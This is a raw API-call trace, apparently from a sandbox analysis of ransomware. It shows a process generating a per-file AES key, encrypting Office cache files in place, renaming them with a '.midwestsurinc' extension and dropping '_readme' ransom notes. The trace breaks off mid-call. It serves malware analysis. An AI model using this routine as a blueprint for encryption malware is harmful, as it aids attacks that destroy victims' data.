[0101.039] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.039] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.040] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf2e3b660, dwHighDateTime=0x1d301be)) returned 1 [0101.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.040] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.040] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.040] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.040] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.040] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.040] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.040] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.041] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd8400) returned 0x1f50020 [0101.041] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xd8400, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xd8400, lpOverlapped=0x0) returned 1 [0101.061] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd8400) returned 0x2030020 [0101.094] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd8400, dwBufLen=0xd8800 | out: pbData=0x2030020*, pdwDataLen=0x174fb24*=0xd8410) returned 1 [0101.101] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xd8440) returned 0x2110020 [0101.116] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.116] WriteFile (in: hFile=0x2e8, lpBuffer=0x2110020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2110020*, lpNumberOfBytesWritten=0x174fb28*=0xd8400, lpOverlapped=0x0) returned 1 [0101.119] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.125] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.125] NtClose (Handle=0x2e8) returned 0x0 [0101.130] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.midwestsurinc")) returned 1 [0101.130] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.131] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.131] GetLastError () returned 0x2 [0101.131] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86310, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.131] GetLastError () returned 0x2 [0101.131] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.131] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.131] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0101.132] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f9, lpOverlapped=0x0) returned 1 [0101.132] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b39a3f0, dwHighDateTime=0x1d5dff7)) returned 1 [0101.132] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.132] NtClose (Handle=0x2e8) returned 0x0 [0101.133] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2110020) returned 1 [0101.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.137] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.137] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.137] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.137] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.138] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.138] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.138] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2)) returned 1 [0101.139] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.139] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.139] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf2bd90c0, dwHighDateTime=0x1d301be)) returned 1 [0101.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.139] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.139] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.139] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.139] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0101.139] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.140] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.140] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0101.140] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0101.140] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x5b2, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x5b2, lpOverlapped=0x0) returned 1 [0101.142] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0x10733c0 [0101.142] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5b2, dwBufLen=0x9b2 | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5c0) returned 1 [0101.142] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0101.142] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x5b2, lpOverlapped=0x0) returned 1 [0101.142] FlushFileBuffers (hFile=0x2e8) returned 1 [0101.145] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.145] NtClose (Handle=0x2e8) returned 0x0 [0101.146] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.midwestsurinc")) returned 1 [0101.146] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0101.146] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0101.146] GetLastError () returned 0x2 [0101.146] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf86330, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0101.146] GetLastError () returned 0x2 [0101.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.147] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.147] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0101.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0101.148] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x17) returned 0x1836160 [0101.148] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f5, lpOverlapped=0x0) returned 1 [0101.149] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b3c0550, dwHighDateTime=0x1d5dff7)) returned 1 [0101.149] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0101.149] NtClose (Handle=0x2e8) returned 0x0 [0101.149] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.150] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.150] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.150] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.150] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0101.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.151] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0101.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.151] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.151] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.151] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.151] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600)) returned 1 [0101.152] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0101.152] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0101.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0101.152] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xfc138cb0, dwHighDateTime=0x1d301be)) returned 1 [0101.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0101.152] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0101.152] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0101.152] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0101.152] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0101.152] CryptExportKey (in: 